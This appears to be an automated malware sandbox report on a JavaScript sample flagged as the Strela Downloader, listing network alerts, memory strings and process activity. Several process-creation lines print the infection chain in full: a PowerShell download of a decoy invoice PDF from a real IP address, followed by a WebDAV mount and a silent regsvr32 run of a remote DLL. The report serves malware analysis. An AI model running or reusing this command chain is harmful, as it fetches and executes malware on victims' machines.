Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1423116715.00000212D1BA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1481829925.0000029DAE6FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484460328.0000029DAE6FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace%
Source: svchost.exe, 00000009.00000002.2703124338.0000026CEF000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1482317580.0000026CEEE20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2305511452193571644.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8068

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7948:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgywnryw.g1d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1636,i,16369455993486761657,17665433984222160941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1636,i,16369455993486761657,17665433984222160941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
